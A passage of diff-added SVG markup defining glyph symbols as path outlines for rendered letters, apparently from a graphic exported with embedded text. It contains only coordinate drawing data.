10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 3.71875 4.46875 C 3.207031 3.820312 2.773438 3.109375 2.421875 2.328125 C 2.078125 1.546875 1.796875 0.75 1.578125 -0.0625 C 1.367188 -0.882812 1.210938 -1.710938 1.109375 -2.546875 C 1.015625 -3.378906 0.96875 -4.175781 0.96875 -4.9375 C 0.96875 -5.6875 1.015625 -6.472656 1.109375 -7.296875 C 1.210938 -8.117188 1.367188 -8.945312 1.578125 -9.78125 C 1.796875 -10.613281 2.082031 -11.429688 2.4375 -12.234375 C 2.800781 -13.035156 3.242188 -13.78125 3.765625 -14.46875 L 4.671875 -13.921875 C 4.242188 -13.234375 3.882812 -12.507812 3.59375 -11.75 C 3.3125 -10.988281 3.082031 -10.21875 2.90625 -9.4375 C 2.738281 -8.664062 2.617188 -7.894531 2.546875 -7.125 C 2.472656 -6.351562 2.4375 -5.625 2.4375 -4.9375 C 2.4375 -4.289062 2.476562 -3.578125 2.5625 -2.796875 C 2.644531 -2.015625 2.773438 -1.226562 2.953125 -0.4375 C 3.140625 0.34375 3.375 1.101562 3.65625 1.84375 C 3.9375 2.59375 4.273438 3.265625 4.671875 3.859375 Z M 3.71875 4.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 0.96875 3.859375 C 1.363281 3.265625 1.703125 2.59375 1.984375 1.84375 C 2.273438 1.101562 2.507812 0.34375 2.6875 -0.4375 C 2.875 -1.226562 3.007812 -2.015625 3.09375 -2.796875 C 3.175781 -3.578125 3.21875 -4.289062 3.21875 -4.9375 C 3.21875 -5.625 3.175781 -6.351562 3.09375 -7.125 C 3.019531 -7.894531 2.898438 -8.664062 2.734375 -9.4375 C 2.566406 -10.21875 2.335938 -10.988281 2.046875 -11.75 C 1.753906 -12.507812 1.394531 -13.234375 0.96875 -13.921875 L 1.890625 -14.46875 C 2.398438 -13.78125 2.832031 -13.035156 3.1875 -12.234375 C 3.550781 -11.429688 3.84375 -10.613281 4.0625 -9.78125 C 4.28125 -8.945312 4.4375 -8.117188 4.53125 -7.296875 C 4.625 -6.472656 4.671875 -5.6875 4.671875 -4.9375 C 4.671875 -4.175781 4.625 -3.378906 4.53125 -2.546875 C 4.4375 -1.710938 4.28125 -0.882812 4.0625 -0.0625 C 3.84375 0.75 3.554688 1.546875 3.203125 2.328125 C 2.859375 3.109375 2.4375 3.820312 1.9375 4.46875 Z M 0.96875 3.859375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
